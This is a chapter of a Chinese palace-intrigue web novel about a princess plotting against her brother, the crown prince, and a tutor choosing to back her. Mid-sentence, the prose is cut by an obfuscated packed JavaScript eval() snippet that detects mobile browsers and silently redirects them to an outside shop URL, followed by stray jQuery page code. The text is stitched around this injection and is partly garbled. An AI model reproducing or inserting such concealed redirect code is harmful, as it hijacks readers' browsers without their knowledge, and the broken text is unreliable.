揉了揉脑袋,宋意承只觉得脑袋都大了。
老师他想明确站队了。
想到这,宋意承又感到一丝庆幸。
好在,老师他不像朝中那些老顽固,能够看清如今朝中的局势,选择将宝压在自己身上,而不是太子或端王那两个蠢货身上。
指尖轻轻打着节拍,宋意承心想,看来得给朝臣放一把火了,将那些害虫给烧一烧,不然,恐怕会有一些睁不开眼睛的跑到自己身上来。
“听雪,等会儿你亲自走一趟晋国公府,去请他们家小姐来公主府一趟。”
听雪不懂,但听话。
回到公主府时,秋鹤撑着一把伞等在府外。
宋意承笑笑,挽着他的手进了府,将他安置在自己院中,随意他去后,转头便进了书房,还让凝雪将门关紧。
凝雪端着茶水进来时,默默的问了一嘴:“殿下,午膳可要留秋郎君一起?”
宋意承拆开手中的信封,漫不经心道:“嗯,让后厨多做点他喜欢吃的。”
凝雪放下茶盏,脸上挂着笑应道:“奴婢知道了。”
“哦,对了,昨晚子敬除了派人来送这封信外,还有留下什么话吗?”宋意承拿着信纸,看着刘吟儿在信中写的关于这几日太子与端王不对付的消息,问了一句。
凝雪摇了摇头,道:“刘赞议昨晚派过来送信的人只说要将这信交给殿下,其余的便没有了。”
宋意承点点头,道:“那便是将所有要说的都写在信中了。”
将手中的信看完,宋意承流露出一抹嘲讽的笑,玉指轻托起茶盏,慢抬至唇边浅啜一口,微闭双眼,问:“今日这茶谁煮的?”
凝雪整理书册的动作一顿,轻声道:“殿下,今日依旧是翠羽沏的茶,可是茶水有问题?”
宋意承放下茶盏,与茶托相撞时,发出一声清脆的“叮铃”,道:“没什么,只是觉得今日的茶泡的格外的好喝。”
她的脸上还泛起一道极浅的笑意。
凝雪这才把心放回肚子里,声音轻快道:“那回头奴婢可得好好夸夸翠羽了,这泡茶的工艺竟然已经精益到能让殿下夸奖的地步了!”
听到这揶揄的话,宋意承点了点桌面,睨了她一眼,才回到正题,道:“子敬这几日一直待在贡院里,借着她祖父的名头,探究到了不少事。”
凝雪一脸正色,停下了手里的动作,望着宋意承问道:“可是与太子或端王有关的?”
宋意承眼帘下垂,将目光落在刘吟儿派人送来的信上,嘴角微提,道:“是否与他们二人相关如今倒不知,不过只要一查,那就全都知晓了。”
凝雪将视线半落在书案上正大光明摊开的书信上,长睫轻轻扇动,道:“不知殿下要查何人?”
宋意承再次拿起那张信纸,随意扫了几眼,轻蔑开口:“去查查孙从兴孙侍郎这段时日同谁走的较近,尤其是与太子、端王二人!”
凝雪躬身应道:“奴婢这就下去安排。”
“等等!”在凝雪要打开房门的那刻,宋意承两指捏着盏边,似乎是想到了什么,叫住了凝雪,在她回头时,又道,“记得,连他身边的那些人也多查查。”
凝雪恭敬点头,“是。”转身双手推开房门,抬脚迈出书房。
书房内,宋意承这才将茶盏送到唇边,微微倾斜,将剩余的茶水一饮而尽,眸中满是算计。
昔日,父皇还对太子有几分信任,有心在自己百年之后将定朝的基业留给他。
可太子,她的胞兄,不该对她这个在父皇心中有着不一样地位的妹妹起杀心啊!
可他不但起了杀心,还愚蠢的派人动手,最后不仅没有将尾巴处理干净,还让父皇与母后知道了他曾对她动了杀手,可真是蠢笨!
不过,也好在他既心思狭隘,又行事鲁莽,早早的让如今还身强体壮的父皇看清了他的真面目,能不再像从前那般,觉得太子就是另一个自己,对他不仅偏宠有加,还很是信任了。
想到这,宋意承脸上就忍不住露出恶意来。
我的好皇兄啊,这都是你逼我的,当初要不是你要派人千里迢迢去阻碍粮草的运行。让身临险境的自己得知自己的好皇兄不仅不帮自己,还想杀了自己,那哪会有今日的宋意承!
昔年的宋意承,可是在景帝的教导下,把一母同胞的太子视为这辈子除却父皇母后与太后之外最重要的第四人啊!
可太子他不懂,他只看到了景帝对宋意承的偏宠,生怕明明已经逐渐被打压到地里的女子能够站起来反了他这个定朝名正言顺的嫡长子,他在怕他那个不怎么讲规矩的父皇会做出废了他这个太子,而改立他一母同胞的妹妹这种事来。毕竟从前也不是没有发生过,只不过被改立的太子是个皇子罢了。
所以,他不顾一切,哪怕是残害手足,也要命人尽量将宋意承的性命留在陵城,留在漠北人手中。
只是他没想到的是,他派去的人不仅没能成功害死宋意承,还眼睁睁的看着宋意承守住了陵城,全须全尾的回到京城。
更没想到的是,他手下的人,做事不干不净,留下了许多尾巴。
只是骄傲自大的他,还以为没有人发觉这事是他所为,也没有察觉到景帝如今看他的神情里满是厌恶与烦闷,而皇后总是找借口不见他,每每与他相处时还总是用很是奇怪的眼神看着他。
他从小到大太顺了。不管是在学宫还是东宫,亦或是十岁那年参与到朝会上起,周边的所有人都捧着他,顺着他,因为他不仅是备受皇帝与皇后宠爱的嫡长子,还是定朝名正言顺的皇太子。
他所拥有的一切,从他出生的那一刻起,便全都拥有了。
他的一切,拥有的都太过简单了,所以,也就不会太过珍惜。
苏太傅他曾奉景帝的旨意,在学宫教导一众皇嗣。
其中,太子的功课只能说是寻常,既达不到出彩的份上,也很难说是差劲。如果他的心胸可以宽阔些,那今后登上皇位后,倒不失为一个中庸的帝王。
可太子宋容治,他自己不行,也看不得别人行。
从前在学宫,除却伴读不能与之相提并论,所有皇嗣中,每每能压他一头的也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710543|207308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就宋意承与端王二人了。
端王是宠妃的皇子,虽说自小不得帝宠,但他是个皇子,朝中早就有不少人看好他,所以太子从一开始就将端王视为死敌。
而宋意承,当初她降生时,太子也是很高兴的。可渐渐的,他发现父皇很是宠爱这个皇妹,比对他这个太子还要好时,他就开始不满了。到了宋意承可以进学宫与皇嗣们一起学习时,景帝将宋意承安排在了皇子们学习的地方,而不是与其他公主一起学习时,太子就更加不满了。可那时,他也还仅仅只是不满而已。
随着宋意承的长大,她的功课做的越来越好,对于家国策论方面的见解也很是独特。有一次,苏太傅在学宫诸多学生面前大肆表扬了一番宋意承的功课后,他不小心看到太子看宋意承的眼神里,竟然是满满的妒忌与狠戾。
那时,太子对他这个所谓的一母同胞的妹妹很是厌恶。他心想,等他坐上那个位置后,一定要给宋意承这个讨厌的人选个品行低劣的驸马,以报自己多年来所遭受的不公。
是的,就是不公。
在宋容治看来,宋意承从景帝与皇后那里得到了一切偏宠,都是从他身上抢走的。哪怕是景帝将她养在身边这件与他无关的事情,他也认为这是年幼无知的宋意承心机深沉的结果,认为是她抢了属于他的一切偏宠。而且,宋意承怎么可以功课做的比自己要好,这不是在打自己的脸吗??
他心中一切扭曲的念头,在景帝不理会他上书恳请领兵出征时达到了顶峰了。
所以,他会在宋意承刚刚带着区区几千兵力前去守住陵城时,立马愤怒的砸碎了一屋的器皿,暗中搞些小动作,想让宋意承就这样死在边关,再也回不来了,成为他心中合格、董事的皇妹,就像端王的胞妹宋明熙那样。
可惜的是,事情的走向不能由他所控制。
宋意承不仅凯旋而归,还开始参与朝会,就像曾经他心中所恐惧的那样,她好像也要开始同他竞争皇位了。
在太子心中,如今头一号的死敌依旧是端王,第二号则是宋意承。
他天资愚钝,苏太傅曾经因宋意承没有丝毫夺嫡的心思还能自我欺骗,劝自己说太子也还不错。
可当宋意承死里逃生回来后,开始动作不停,那时,苏太傅就动了点小心思。
苏太傅让自己的小孙女,也就是宋意承曾经的伴读苏承熙,频繁去公主府看望宋意承。
自己则是一边梳理着朝中形势,一边观察着景帝的态度,发觉景帝好像越来越不喜太子了。
这对他而言,可以说是件好事。
毕竟,他想把宝压在宋意承身上。
比起站在一个天资不行,还没有容人之量的太子身后。还不如推举一个自己最为看重的皇嗣,尤其是这个皇嗣还是个有野心,有皇帝的支持。
苏太傅想的很清楚,他要的不仅仅是国家安稳,他更想要的是这个王朝能在他有生之年,能够将疆土扩大到历代皇帝都没做到的地步。
他有很大的野心,太子宋容治很难做到他想要的,而平遥公主宋意承就不一定了。